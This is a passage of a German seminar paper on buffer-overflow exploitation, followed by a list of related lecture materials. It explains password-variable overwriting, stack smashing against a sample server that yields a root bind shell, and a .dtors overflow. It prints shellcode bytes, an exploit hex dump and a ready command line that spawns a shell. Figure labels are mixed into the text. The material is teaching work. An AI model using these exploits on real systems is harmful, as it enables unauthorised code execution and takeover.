korrekt eingeloggt, obwohl wir nicht das richtig Passwort angegeben haben sondern nur 16 mal T. Mit einem Debugger, wie dem GDB, können wir nachvollziehen, was bei der Eingabe des Passworts geschieht: Abbildung 6 zeigt, daß die Eingabe des zu langen Passworts offenbar über das Ende des password Puffers auch die Variable passok mit einem T überschreibt. Dadurch werden wir ohne Kenntnis des Passworts eingeloggt. 18

19 c int v5 = 20; eip malloc( 512 ); arg n } arg 1 STACK Speicher Anfang HEAP Speicher Ende.INIT Stack Anfang.PLT Stack Ende.TEXT v2[] = hack ;.DATA int v1;.ctors.got // data // bss // stack // stack // bss.dtors // data.bss // heap void main( ).GOT { // data har buff[256]; // bss Abbildung 6: password und passok im Stack nach der Eingabe des Passworts. char* v6; static int v4; c int v5 = 20; 4.2 Smashing the Stack malloc( 512 ); } // stack Ein Angriff auf eine Variable läßt sich natürlich nur durchführen, wenn die Struktur des anzugreifenden Programms geeignet ist, also eine angreifbare Variable, deren Veränderung uns einen Vorteil STACK // stack HEAP // bringt, bss in Reichweite des Buffer Overflows ist. Das Stack Smashing dagegen ist ein Angriff, der wesentlich data unabhängiger von dem weiteren Programmablauf ist..init //.PLT // heap.text.data.ctors.dtors Abbildung 7: Stackausschnitt nach einem Funktionsaufruf. Abbildung.BSS 7 zeigt einen Ausschnitt des Stacks nach einem Funktionsaufruf. Wird eine Funktion aufgerufen,.got so werden zuerst die Parameter der Funktion auf den Stack gelegt. Dann wird der eip // gesichert, data damit beim Beenden der Funktion an die richtige Codestelle in der aufrufenden Funktionbss zurückgesprungen werden kann. Der ebp wird ebenfalls gesichert und zeigt auf den Beginn des // Stackframes der aufrufenden Funktion. buffer soll hier eine Variable in der Funktion sein, die durch Benutzereingaben gefüllt wird und bei der ein Buffer Overflow möglich ist. In Abbildung 7 sehen wir, daß keine Variable, die uns nützen könnte, in der Nähe des Puffers ist, aber wir können den eip zu unserem Vorteil verändern. // stack // stack // bss // data // heap Abbildung 8: Der Exploitstring wird in den Puffer geschrieben. Wir können also den Puffer wie in Abbildung 8 mit einem String füllen, der folgende Bedingungen erfüllt: 1. Der String enthält einen ausführbaren Code, normalerweise Code, der eine Shell für uns öffnet. 2. Am Ende des Strings steht eine Adresse, mit der der eip überschrieben wird. Diese Adresse zeigt auf den Code in unserem String. 19

20 3. Vor dem Code im String füllen wir mit noops auf, da wir normalerweise die Adresse des Puffers nur ungefähr raten können und versuchen diesen noop-bereich zu treffen. Wird die Funktion nun beendet, so springt das Programm nicht zurück zu der aufrufenden Funktion, sondern (wenn wir die Adresse richtig geraten haben) in die noops. Die werden dann abgearbeitet, und dann wird der Code, den wir in den Speicher eingefügt haben ausgeführt. Anhang A enthält den Sourcecode eines einfachen Serverdienstes, der eine Buffer Overflow Verwundbarkeit enthält. Dieser Server startet für jede eingehende Netzwerkverbindung einen Kindprozeß, der in der Funktion communicateserver mit dem Client Daten austauscht. Die Funktion empfängt eine Eingabe vom Client, die sie in der Variable inbuffer speichert (Zeile 40). Diese werden dann zusammen mit dem Greetings String in die Variable outbuffer kopiert (Zeile 50) und dann an den Client zurück geschickt (Zeile 53). In Zeile 29 und 31 sehen wir, daß inbuffer doppelt so groß ist wie outbuffer, und da beim Kopieren von inbuffer nach outbuffer nicht geprüft wird, wieviele Bytes kopiert werden, kann outbuffer also überlaufen. Das Verbinden mit dem Server sieht also normalerweise so aus: 1 $ > telnet Trying Connected to Escape character is ˆ]. 5 Welcome, awaiting input...karl 6 Greetings Karl 7 Connection closed by foreign host. Der Server schickt den Welcome String (Zeile 5), worauf wir Karl eingeben. Darauf antwortet der Server, wie erwartet, mit Greetings Karl. Betrachten wir dagegen folgende Eingabe: 1 $ > telnet Trying Connected to Escape character is ˆ]. 5 Welcome, awaiting input...bbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 6 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 7 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 8 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 9 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 10 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 11 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 12 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 20

21 13 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 14 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 15 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 16 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 17 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 18 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 19 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 20 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 21 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 22 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 23 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 24 Connection closed by foreign host. Diesmal hat der Server keinen Greetings -String gesendet. Die Erklärung ist einfach: Die lange Eingabe hat beim Kopieren in den Ausgabepuffer auch den, auf dem Stack gesicherten, eip überschrieben, so daß der Prozeß beim Rücksprung in die aufrufende Funktion an die Adresse 0x (Hexadezimal für A ) gesprungen ist. Dies ist allerdings keine gültige Adresse, und der Kindprozeß ist abgestürzt. Anhang B enthält den Sourcecode zu einem Programm, das uns helfen soll diese Verwundbarkeit auszunutzen indem es einen String wie in Abbildung 8 baut. Dieser wird dann an den Server geschickt. Dafür wird zuerst in Zeile 7 die Variable PBShellCode mit einem Shellcode gefüllt. Dieser ist so konstruiert, daß er auf dem Server eine Shell startet und diese an einen beliebigen Port bindet, so daß sich der Angreifer per telnet mit ihr verbinden kann. Der Port an den die Shell gebunden werden soll wird als Parameter angegeben und mit den Zeilen 78 und 79 in den Shellcode eingesetzt. Der Exploitstring wird in der Variable exbuffer gebaut, die hierfür zuerst mit noops gefüllt wird (Zeile 85). Dann wird der Shellcode in die noops kopiert. Zuletzt wird die geratene Rücksprungadresse (da wo wir vermuten, daß sich die noops im Speicher des Serverprozesses befinden werden) mehrmals an das Ende des Strings geschrieben (Zeile 93-97) und der String mit einem Nullbyte terminiert (Zeile 99). Der Rest des Programms beschäftigt sich mit der Ausgabe des Exploitstrings, dem Verbindungsaufbau zum Server und dem Abschicken des Strings. Wenn wir nun den dritten Parameter (die Adresse, die wir raten) langsam (in 500er Schritten) erhöhen, so kommen wir schnell zu folgendem Erfolg: 1 $ >./exploit Guessed pointer: 0xbfffef

22 db f7 e3 b e1 4b cd c e1 b0 ef f6 d e1 b cd 80 b cd e1 43 b0 66 cd d9 89 c3 38 b0 3f 49 cd e2 f e 2f f 2f e e1 b0 f4 f6 d0 cd db 89 d8 40 cd ef ff bf 98 ef ff bf 98 ef ff bf ef ff bf

23 Wir können gut ab Zeile 35 den eingefügten Shellcode und ab Zeile 49 mehrmals die geratene Adresse erkennen. Versuchen wir nun uns per telnet auf den Port zu verbinden: 1 $ > telnet Trying Connected to Escape character is ˆ]. 5 hostname; 6 target 7 : command not found 8 whoami; 9 root 10 : command not found 11 exit; 12 Connection closed by foreign host. Wir sehen, daß es uns offenbar gelungen ist die Verwundbarkeit des Servers auszunutzen und unseren eigenen Code auf dem Server auszuführen. 4.3 Heap basierte Overflows In dem vorangehenden Abschnitt wurde ein Überblick über die Ausnutzung von Puffern zum Überschreiben von Adressen gegeben. Nun soll dieses Prinzip verallgemeinert werden. Das gesuchte Vorgehen ist denkbar einfach: es wird ein Buffer gesucht, welcher vom Angreifer geschrieben werden kann, ohne daß das verwundbare Programm überprüft, ob auch wirklich nur die vorbestimmte Größe des Buffers genutzt wird. Ist ein solcher vorhanden, sucht man nach interessanten Feldern, welche sich in der Nähe dieses Buffers befinden und welche man durch Überlaufen lassen erreichen könnte. Als interessant sollten Felder betrachtet werden, welche den Programmfluß beeinflussen, das heißt Rücksprungadressen oder auch Funktionszeiger fallen in diese Kategorie. Es gibt aber auch Möglichkeiten, welchen nicht direkt angesehen werden kann, daß diese zum Angreifen ausnutzbar sind. Dieser Abschnitt soll, von der abstrakten Idee Buffer und interessante Felder aus zeigen, daß Überläufe im traditionellen Sinne, also auf dem Stack, auch auf eine Vielzahl anderer Bereiche anwendbar sind. Allgemein hat sich der Begriff des heap-based Exploit gebildet, um solche Überläufe in anderen Datensektionen zu bezeichnen. Dies ist insofern irreführend als das unter diesen Begriff auch Sektionen wie.data oder.bss fallen und nicht nur der Heap, wie vom Begriff suggeriert Einfache Variablenattacke In einem kleinen Beispiel soll gezeigt werden, daß die Idee vom Überlauf, welche man aus der Beschreibung für den Fall des Stack Smashings gewonnen hat, auch einfach auf andere Sektionen übert- 23

24 ragen werden kann. Dazu betrachtet man folgenden C Code und rufe sich Abbildung 3 in Erinnerung, welche anzeigt wohin im Speicher einzelne Variablen genau gelegt werden. #include <stdio.h> void main( ) { static char ExBuff[8]; static char importantbyte; importantbyte = 23; printf("important: %x\n", importantbyte ); printf("please enter string: "); gets(exbuff); printf("important now: %x", importantbyte ); } Im Code werden zwei uninitialisierte Variablen angelegt, dabei liegt ExBuff an einer niedrigeren Adresse als importantbyte, da beide in die.bss Sektion gelegt werden und diese wächst zu den größeren Adressen hin. Führt man nun das Programm aus und gibt mehr als acht Zeichen ein, so wird die Variable mit dem ASCII-Wert des neunten eingegebenen Zeichens überschrieben: #./HeapVarAttack important: 17 Please enter string: AAAAAAAAA important now: Die.dtors-Attacke Nachdem vorgeführt wurde, daß die erlernten Konzepte des Überlaufs nicht nur auf den Stack anwendbar sind, soll eine etwas fortgeschrittenere Attacke (basierend auf [6]) zeigen, wie vielseitig dieses Konzept ist. Dazu dient folgendes kleines Programm (dtorsvulprog.c), daß auf den ersten Blick keine wirkliche Angriffsmöglichkeit bietet. #include <stdio.h> static char ExBuff[256] = "RWTH"; void main( ) { gets( ExBuff ); } 24

25 STACK HEAP.INIT.PLT.TEXT.DATA.CTORS.DTORS.BSS Es gibt keine interessanten Variablen in der Umgebung und leider wird der Buffer auch nicht auf.got dem Stack angelegt, wo eine Rücksprungadresse verbogen werden könnte. Folglich, bleibt als Option // data nur übrig sich klarzumachen, wo genau diese Variable liegt und was es dort in ihrer Umgebung gibt. // bss Die Abbildung 3 zeigt, daß ExBuff in die.data Sektion abgelegt wird. Da ExBuff zum Überlauf gebracht werden kann, müssen die Sektionen oberhalb von.data betrachtet werden. Als erstes folgen die.ctors und die.dtors Sektionen, welche vom Compiler dazu verwendet werden, zusätzliche Funktionsadressen zu speichern. Diese werden bei.ctors vor dem Einstiegspunkt (Entry Point bzw. Main-Funktion) aufgerufen und bei.dtors nach Beendigung der Main-Funktion. Folglich, wäre es interessant eine eigene Adresse in die.dtors Sektion reinzuschreiben, welche dann im Anschluß an das // stack // stack Programm aufgerufen würde. Für.ctors kommt dies nicht in Frage, da die dort gespeicherten Adressen schon angesprungen werden, bevor man als Angreifer jegliche Manipulation vornehmen kann. // bss // data Damit diese theoretische Möglichkeit ausgenutzt werden kann, muss der genaue Aufbau von.dtors // heap bekannt sein. Abbildung 9 zeigt, daß es innerhalb der Sektion zwei Begrenzungssequenzen vorhanden sind, einmal für den Beginn der Funktionsadressen (das 0xffffffff) und für das Ende (0x ). Interessant ist auch, daß die Begrenzung am Beginn der Funktionsadressen nicht wirklich gebraucht wird, jedoch die Begrenzung für das Ende der Funktionenliste benötigt wird. Falls die 0x Sequenz nicht vorhanden ist, wird mit hoher Wahrscheinlichkeit eine nicht legitime Adresse angesprungen.... 0xFFFFFFFF FuncAddr 1....dtors Anfang FuncAddr n 0x dtors Ende... Abbildung 9: Aufbau der.dtors Sektion Zwischen diesen beiden Begrenzungen befinden sich (möglicherweise) Adressen von Funktionen, allerdings ist dies in den meisten Programmen nicht der Fall, und die Begrenzungen fallen einfach zusammen. Doch dies stört nicht, solange man an die Stelle der Endbegrenzung 0x eine legitime Adresse einfügen kann, ist es möglich nach Beendigung des Programms beliebigen Code auszuführen. Um eine erfolgreiche Attacke auf die.dtors Sektion ausführen zu können, müssen Adressen, sowie der genaue Abstand vom verwundbaren Buffer zur.dtors Sektion bestimmt werden. Dies ist bei anderen Sektionen, wie beispielsweise dem Stack, schwierig und dort verläßt man sich deshalb auf Iteration und Raten. Im derzeitigen Fall, ist dies alles kein Problem, da.dtors sowie.data innerhalb des Prozessimage im Speicher immer den gleichen Abstand haben werden. Dies liegt daran, daß diese Sektionen genauso schon in der ausführbaren Datei vorkommen und beim Start einfach an die entsprechende Adresse kopiert werden. Folglich, lassen sich alle benötigten Adressen schon alleine aus der ausführbaren Datei bestimmen: # gcc -o dtorsvulprog dtorsvulprog.c # objdump -s -j.dtors dtorsvulprog dtorsvulprog: file format elf32-i386 Contents of section.dtors: 25

26 .TEXT.DATA.CTORS.DTORS.BSS.GOT // data // bss 80495d4 ffffffff # gdb dtorsvulprog (gdb) p &ExBuff $1 = (<data variable, no debug info> *) 0x80494e8 (gdb) p (0x80495d4+4) - 0x80494e8 $2 = // 240 stack // stack Mittels // des bss objdump Programms kann man die Adresse der.dtors Sektion bestimmen. In diesem Beispiel // mit data dem Resultat 0x80495d4. Weiter kann man innerhalb von gdb die Adresse vom // heap verwundbaren Buffer bestimmen (p &ExBuff) und auch direkt den Abstand zur.dtors Sektion. Natürlich, muss daran gedacht werden, daß zur durch objdump bestimmten Adresse noch vier hinzuzuaddieren ist, 1 FuncAddr um an die Adresse der Endmarkierung innerhalb der.dtors Sektion zu bekommen. Somit hat man nun n FuncAddr den nötigen Abstand (240) und die Adresse des verwundbaren Buffers(0x80494e8). 0xFFFFFFFF Dieser kann nun dazu ausgenutzt werden, um einen Shellcode aufzunehmen, sowie mittels eines 0x Überlaufs gezielt diese Adresse in die.dtors Sektion einzuschleusen (verdeutlicht in Abbildung 10)..dtors Anfang.dtors Ende... 0x xFFFFFFFF.DTORS Overflow Address of Shellcode 0x A A A... A.DTORS databuffer.data ShellCode.DATA Abbildung 10: Attacke auf.dtors durch Überlauf Es reicht nun aus dem verwundbaren Programm einen entsprechenden Parameter zu übergeben, um erfolgreich die Attacke durchzuführen: #./dtorsvulprog printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68 \x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd \x80" perl -e print "A"x215 printf "\xe8\x94\x04\x08" sh-2.05b# Hierbei wird der im Abschnitt über Shellcode erzeugte Code verwendet, sowie ein Padding bestehend aus A s der Länge 215 = 240 Länge von Shellcode benutzt um die Adresse (natürlich in umgekehrter Reihenfolge) an die Position der.dtors Endmarkierung (0x ) zu schreiben. 26

Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung)

Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung) Buffer Overflow 1c) 1 char passok='f'; 2 char password[8]; 3 printf( Passwort: ); 4 gets(password); 5 if(!strcmp(password, daspassw )){passok = 'T';} 6 if(passok=='t'){printf( %s, Willkommen! );} 7 else

Mehr

U23 - Shellcode. Twix Chaos Computer Club Cologne. Motivation Einstieg Der erste Shellcode Nullbytes, NOP Slides

U23 - Shellcode. Twix Chaos Computer Club Cologne.  Motivation Einstieg Der erste Shellcode Nullbytes, NOP Slides Twix e.v. http://koeln.ccc.de 2016-11-28 Überblick 1 Motivation Was ist Shellcode? Beispiel 2 Einstieg Erzeugen, Testen von Shellcode 3 Der erste Shellcode Strings in Shellcode 4 Nullbytes, NOP Slides

Mehr

Übung 1 - Betriebssysteme I

Übung 1 - Betriebssysteme I Prof. Dr. Th. Letschert FB MNI 13. März 2002 Aufgabe 0: Basiswissen Rechnerarchitektur: Übung 1 - Betriebssysteme I Aus welchen Komponenten besteht ein Rechner mit Von-Neumann Architektur? Was sind Bits

Mehr

Einführung in die Programmiersprache C

Einführung in die Programmiersprache C Einführung in die Programmiersprache C 10 Sicheres Programmieren Alexander Sczyrba Robert Homann Georg Sauthoff Universität Bielefeld, Technische Fakultät Literatur Klein, Buffer Overflows und Format-String-Schwachstellen.

Mehr

GCC 3.x Stack Layout. Auswirkungen auf Stack-basierte Exploit-Techniken. Tobias Klein, 2003 tk@trapkit.de Version 1.0

GCC 3.x Stack Layout. Auswirkungen auf Stack-basierte Exploit-Techniken. Tobias Klein, 2003 tk@trapkit.de Version 1.0 1 GCC 3.x Stack Layout Auswirkungen auf Stack-basierte Exploit-Techniken Tobias Klein, 2003 tk@trapkit.de Version 1.0 2 Abstract Eine spezielle Eigenschaft des GNU C Compilers (GCC) der Version 3.x wirkt

Mehr

U23 Assembler Workshop

U23 Assembler Workshop Ike e.v. http://koeln.ccc.de 2016-11-05 Überblick 1 CPU, Assembler Überblick x86 x86 Assembler 2 RAM, Stack, Calling Conventions Stack Calling Conventions Stackframes 3 Branches Jumps 4 Speicher, C-Interface

Mehr

Übungen zu Softwaresysteme I Jürgen Kleinöder Universität Erlangen-Nürnberg Informatik 4, 2004 K-Uebung9.fm

Übungen zu Softwaresysteme I Jürgen Kleinöder Universität Erlangen-Nürnberg Informatik 4, 2004 K-Uebung9.fm K 9. Übung K 9. Übung K-1 Überblick Besprechung 7. Aufgabe (jbuffer) Unix, C und Sicherheit K.1 Mögliche Programmsequenz für eine Passwortabfrage in einem Server- Programm: int main (int argc, char *argv[])

Mehr

Einführung in die Programmiersprache C

Einführung in die Programmiersprache C Einführung in die Programmiersprache C 10 Sicheres Programmieren Alexander Sczyrba Robert Homann Georg Sauthoff Universität Bielefeld, Technische Fakultät Literatur Klein, Buffer Overflows und Format-String-Schwachstellen.

Mehr

Übungen zur Vorlesung Systemsicherheit

Übungen zur Vorlesung Systemsicherheit Übungen zur Vorlesung Systemsicherheit Address Space Layout Randomization Tilo Müller, Reinhard Tartler, Michael Gernoth Lehrstuhl Informatik 1 + 4 19. Januar 2011 c (Lehrstuhl Informatik 1 + 4) Übungen

Mehr

U23 Assembler Workshop

U23 Assembler Workshop Ike e.v. http://koeln.ccc.de 2016-11-05 Überblick 1 CPU, Assembler Überblick x86 x86 Assembler 2 RAM, Stack, Calling Conventions Stack Calling Conventions Stackframes 3 Branches Jumps 4 Speicher, C-Interface

Mehr

Einführung. Übungen zur Vorlesung Virtuelle Maschinen. Stefan Potyra. SoSe 2009

Einführung. Übungen zur Vorlesung Virtuelle Maschinen. Stefan Potyra. SoSe 2009 Einführung Übungen zur Vorlesung Virtuelle Maschinen Stefan Potyra Lehrstuhl für Informatik 3 (Rechnerarchitektur) Friedrich-Alexander-Universität Erlangen-Nürnberg SoSe 2009 Übungsaufgaben 1 Entwickeln

Mehr

Assembler - Einleitung

Assembler - Einleitung Assembler - Einleitung Dr.-Ing. Volkmar Sieh Department Informatik 3: Rechnerarchitektur Friedrich-Alexander-Universität Erlangen-Nürnberg SS 2008 Assembler - Einleitung 1/19 2008-04-01 Teil 1: Hochsprache

Mehr

Programmiertechnik. Teil 4. C++ Funktionen: Prototypen Overloading Parameter. C++ Funktionen: Eigenschaften

Programmiertechnik. Teil 4. C++ Funktionen: Prototypen Overloading Parameter. C++ Funktionen: Eigenschaften Programmiertechnik Teil 4 C++ Funktionen: Prototypen Overloading Parameter C++ Funktionen: Eigenschaften Funktionen (Unterprogramme, Prozeduren) fassen Folgen von Anweisungen zusammen, die immer wieder

Mehr

Assembler Unterprogramme

Assembler Unterprogramme Assembler Unterprogramme Dr.-Ing. Volkmar Sieh Department Informatik 3: Rechnerarchitektur Friedrich-Alexander-Universität Erlangen-Nürnberg SS 2008 Assembler Unterprogramme 1/43 2008-06-03 Unterprogramme

Mehr

Karlsruher Institut für Technologie

Karlsruher Institut für Technologie Karlsruher Institut für Technologie Lehrstuhl für Programmierparadigmen Sprachtechnologie und Compiler WS 2010/2011 Dozent: Prof. Dr.-Ing. G. Snelting Übungsleiter: Matthias Braun Lösung zu Übungsblatt

Mehr

GI Vektoren

GI Vektoren Vektoren Problem: Beispiel: viele Variablen vom gleichen Typ abspeichern Text ( = viele char-variablen), Ergebnisse einer Meßreihe ( = viele int-variablen) hierfür: Vektoren ( = Arrays = Feld ) = Ansammlung

Mehr

Übungsblatt 10 (Block C 2) (16 Punkte)

Übungsblatt 10 (Block C 2) (16 Punkte) georg.von-der-brueggen [ ] tu-dortmund.de ulrich.gabor [ ] tu-dortmund.de pascal.libuschewski [ ] tu-dortmund.de Übung zur Vorlesung Rechnerstrukturen Wintersemester 2016 Übungsblatt 10 (Block C 2) (16

Mehr

Maschinencode Dateiformat und Stackframes

Maschinencode Dateiformat und Stackframes Maschinencode Dateiformat und Stackframes Proseminar C-Programmierung - Grundlagen und Konzepte Julian M. Kunkel julian.martin.kunkel@informatik.uni-hamburg.de Wissenschaftliches Rechnen Fachbereich Informatik

Mehr

Buffer Overflow. Denis Graf, Tim Krämer, Konstantin Schlese. Universität Hamburg Fachbereich Informatik. 6. Januar 2013

Buffer Overflow. Denis Graf, Tim Krämer, Konstantin Schlese. Universität Hamburg Fachbereich Informatik. 6. Januar 2013 Buffer Overflow Denis Graf, Tim Krämer, Konstantin Schlese Universität Hamburg Fachbereich Informatik 6. Januar 2013 Agenda 1. Einführung Allgemeines über Buffer Overflows Historische Angriffe Definition

Mehr

Systemsicherheit (SS 2015) 30. April 2015. Übungsblatt 2. Buffer-Overflow-Angriffe

Systemsicherheit (SS 2015) 30. April 2015. Übungsblatt 2. Buffer-Overflow-Angriffe Peter Amthor, Winfried E. Kühnhauser [email] Department of Computer Science and Automation Distributed Systems and Operating Systems Group Ilmenau University of Technology Systemsicherheit (SS 2015) 30.

Mehr

Vorlesung Programmieren

Vorlesung Programmieren Vorlesung Programmieren Speicherverwaltung und Parameterübergabe Prof. Dr. Stefan Fischer Institut für Telematik, Universität zu Lübeck http://www.itm.uni-luebeck.de/people/fischer Gültigkeitsbereich von

Mehr

2Binden 3. und Bibliotheken

2Binden 3. und Bibliotheken 3 Vom C-Programm zum laufenden Prozess 3.1 Übersetzen - Objektmodule 1Übersetzen 3. - Objektmodule (2) Teil III 3Vom C-Programm zum laufenden Prozess 2. Schritt: Compilieren übersetzt C-Code in Assembler

Mehr

Beim Programmieren mit MMIX habt ihr vielleicht schon öfter eine der folgenden Fehlermeldungen von MMIXAL bekommen:

Beim Programmieren mit MMIX habt ihr vielleicht schon öfter eine der folgenden Fehlermeldungen von MMIXAL bekommen: 1 ADRESSIERUNG IN MMIX Beim Programmieren mit MMIX habt ihr vielleicht schon öfter eine der folgenden Fehlermeldungen von MMIXAL bekommen: no base address is close enough to the address A! relative address

Mehr

Eine Mini-Shell als Literate Program

Eine Mini-Shell als Literate Program Eine Mini-Shell als Literate Program Hans-Georg Eßer 16.10.2013 Inhaltsverzeichnis 1 Eine Mini-Shell 1 1.1 Einen Befehl parsen......................... 2 1.2 Was tun mit dem Kommando?...................

Mehr

"Organisation und Technologie von Rechensystemen 4"

Organisation und Technologie von Rechensystemen 4 Klausur OTRS-4, 29.09.2004 Seite 1 (12) INSTITUT FÜR INFORMATIK Lehrstuhl für Rechnerarchitektur (Informatik 3) Universität Erlangen-Nürnberg Martensstr. 3, 91058 Erlangen 29.09.2004 Klausur zu "Organisation

Mehr

Assembler - Adressierungsarten

Assembler - Adressierungsarten Assembler - Adressierungsarten Dr.-Ing. Volkmar Sieh Department Informatik 3: Rechnerarchitektur Friedrich-Alexander-Universität Erlangen-Nürnberg SS 2008 Assembler - Adressierungsarten 1/31 2008-04-01

Mehr

Systemprogrammierung

Systemprogrammierung Systemprogrammierung 3Vom C-Programm zum laufenden Prozess 6. November 2008 Jürgen Kleinöder Universität Erlangen-Nürnberg Informatik 4, 2008 SS 2006 SOS 1 (03-Pro.fm 2008-11-06 08.52) 3 Vom C-Programm

Mehr

Hinweise C-Programmierung

Hinweise C-Programmierung Hinweise C-Programmierung Dr.-Ing. Volkmar Sieh Department Informatik 4 Verteilte Systeme und Betriebssysteme Friedrich-Alexander-Universität Erlangen-Nürnberg WS 2016/2017 V. Sieh Hinweise C-Programmierung

Mehr

Einführung zum MS Visual Studio

Einführung zum MS Visual Studio 0 Visual Studio Verzeichnispfade einstellen Stellen Sie nach dem Start von Visual Studio zunächst Ihr Home-Laufwerk, d.h. den Pfad für Ihre Projektverzeichnisse und Dateien ein. Beenden Sie Visual Studio

Mehr

Inhaltsverzeichnis. 1 Einleitung 2

Inhaltsverzeichnis. 1 Einleitung 2 Inhaltsverzeichnis 1 Einleitung 2 2 Installation 3 2.1 Windows............................................. 3 2.1.1 Yasm per Konsole nutzen............................... 3 2.1.2 Integration mit Visual

Mehr

Grundlagen der OO- Programmierung in C#

Grundlagen der OO- Programmierung in C# Grundlagen der OO- Programmierung in C# Technische Grundlagen 1 Dr. Beatrice Amrhein Überblick Visual Studio: Editor und Debugging Die Datentypen Methoden in C# Die Speicherverwaltung 2 Visual Studio 3

Mehr

Unterprogramme. Unterprogramme

Unterprogramme. Unterprogramme Unterprogramme Unterprogramme wichtiges Hilfsmittel für mehrfach benötigte Programmabschnitte spielen in höheren Programmiersprachen eine wesentliche Rolle in Assembler sind bestimmte Konventionen nötig

Mehr

Technische Informatik II Rechnerarchitektur

Technische Informatik II Rechnerarchitektur Technische Informatik II Rechnerarchitektur MMIX-Crashkurs Matthias Dräger, Markus Rudolph E-Mail: mdraeger@mi.fu-berlin.de rudolph@mi.fu-berlin.de www: tinyurl.com/mmix2010 www.matthias-draeger.info/lehre/sose2010ti2/mmix.php

Mehr

Funktionen in JavaScript

Funktionen in JavaScript Funktionen in JavaScript Eine Funktion enthält gebündelten Code, der sich in dieser Form wiederverwenden lässt. Mithilfe von Funktionen kann man denselben Code von mehreren Stellen des Programms aus aufrufen.

Mehr

Wie groß ist die Page Table?

Wie groß ist die Page Table? Wie groß ist die Page Table? Im vorigen (typischen) Beispiel verwenden wir 20 Bits zum indizieren der Page Table. Typischerweise spendiert man 32 Bits pro Tabellen Zeile (im Vorigen Beispiel brauchten

Mehr

7.11.2006. int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2) {

7.11.2006. int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2) { Universität Mannheim Lehrstuhl für Praktische Informatik 1 Prof. Dr. Felix C. Freiling Dipl.-Inform. Martin Mink Dipl.-Inform. Thorsten Holz Vorlesung Angewandte IT-Sicherheit Herbstsemester 2006 Übung

Mehr

Sicheres C Programmieren in Embedded Systemen ARM II (ARM7TMDI [1] ) Wintersemester 2010-2011

Sicheres C Programmieren in Embedded Systemen ARM II (ARM7TMDI [1] ) Wintersemester 2010-2011 Sicheres C in Embedded Systemen ARM II (ARM7TMDI [1] ) Wintersemester 2010-2011 Dipl. Ing. (FH) Ebrecht Roland, Infineon Technologies AG M.Eng (Electronic Systems) Güller Markus, Infineon Technologies

Mehr

Tafelübung zu BSRvS 1 6. Sicherheit

Tafelübung zu BSRvS 1 6. Sicherheit Tafelübung zu BSRvS 1 6. Sicherheit Olaf Spinczyk Arbeitsgruppe Eingebettete Systemsoftware Lehrstuhl für Informatik 12 TU Dortmund olaf.spinczyk@tu-dortmund.de http://ess.cs.uni-dortmund.de/~os/ http://ess.cs.tu-dortmund.de/de/teaching/ss2009/bsrvs1/

Mehr

Technische Informatik II Rechnerarchitektur

Technische Informatik II Rechnerarchitektur Technische Informatik II Rechnerarchitektur 3.Unterprogramme in MMIX Matthias Dräger E-Mail: www: mdraeger@mi.fu-berlin.de www.matthias-draeger.info/lehre/sose2010ti2/ tinyurl.com/sose2010ti2 Zuletzt bearbeitet:

Mehr

Zeiger in C und C++ Zeiger in Java und C/C++

Zeiger in C und C++ Zeiger in Java und C/C++ 1 Zeiger in Java und C/C++ Zeigervariable (kurz: Zeiger, engl.: pointer): eine Variable, die als Wert eine Speicheradresse enthält Java: Zeiger werden implizit für Referenztypen (Klassen und Arrays) verwendet,

Mehr

Betriebssysteme Teil 3: Laufzeitsystem für Programme

Betriebssysteme Teil 3: Laufzeitsystem für Programme Betriebssysteme Teil 3: Laufzeitsystem für Programme 23.10.15 1 Literatur [3-1] Stack: http://fbim.fh-regensburg.de/~hab39652/pg1/skriptum/ ausdruecke/maschinenmodell.html [3-2] https://de.wikipedia.org/wiki/dynamischer_speicher

Mehr

Rechnernetze und -Organisation. Teil B (30. März 2011) 2011 Michael Hutter Karl C. Posch

